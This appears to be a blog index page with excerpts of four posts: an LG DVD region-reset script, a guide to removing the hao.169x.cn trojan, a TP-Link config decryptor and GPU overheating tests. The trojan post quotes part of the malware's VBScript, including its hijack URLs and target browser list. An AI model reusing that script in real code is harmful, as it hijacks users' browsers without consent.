LG DVD REGION RESET (GUD0N, GUD1N and others)

As everyone probably knows, DVD players are limited by software to watch DVD of the region the player was bought from. The user can change the region 4 times (the first time is changed automatically when the first DVD is played). After some research I found that many players have secret SCSI commands to reset the counter. This is called vendor reset. Also this is limited though. And can be used only 5 times. But since I don't like commercial limits, I wrote a small utility that can reset everything. Have a look at this github link. LG-DVD-REGION-RESET The script has been tested and it's guaranteed on LG (and HP) DVDRAM GUD0N and GUD1N It can work also on many other LG players probaby GT series, but I can't vouch for them since I only have these two in my laptops. The bash shell script works AS IS in linux (tested on ubuntu) and CYGWIN on Windows. Namaste! Zibri (donations are welcome)

HAO.169x.cn Virus removal.

Hello! After fighting with this nasty trojan I finally found a solution. The trojan resides inside windows WMI. It executes a script that looks like this: On Error Resume Next Const link = "http://hao.169x.cn/?v=108&m=yx" Const link360 = "http://hao.169x.cn/?v=108&m=yx&s=3" browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe" lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\shome\Desktop,C:\Users\shome\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\shome\AppD...

TP-LINK Configuration file encrypt and decrypt.

Here we go! TP-Link is another company that thinks that security by obscurity could ever work. If you "backup" the configuration from most TP-Link routers, you will get a .BIN file which is "encrypted". Use this utility below, to decrypt it (so you can edit it) and encrypt it again. Have fun.

Graphic card burning by malicious program or hacker: possible.

Since furmark has been limited in drivers I searched for a way to  heat up my cards (2x GTX 580 SLI). I came across MSI Kombustor, but I noticed only one card was used. Playing with NVIDIA Inspector I created a profile for kombustor 3 and now both cards are used. Fiddling with the settings I found a way to maximize heat. For example: with my setting (air cooled, stock fans, custom fan curves and fully overclocked cards) using Valley in Extreme HD mode, my temps are 82 for the primary card and 69 for the secondary (after an hour of looping). With kombustor3 and the profile I created, the cards heat with a  steeper curve up and maximize (99 degrees) in a few minutes, then thing get weird and ugly :D If you are interested in further testing here is the setup: 1) MSI Afterburner Version 4.1.0.7013 2) MSI Kombustor 3 (launched clicking the  K in MSI Afterburner: this will run it in windowed furmark mode) 3) NVIDIA Display Drivers 335.23 (which are the fastest for...
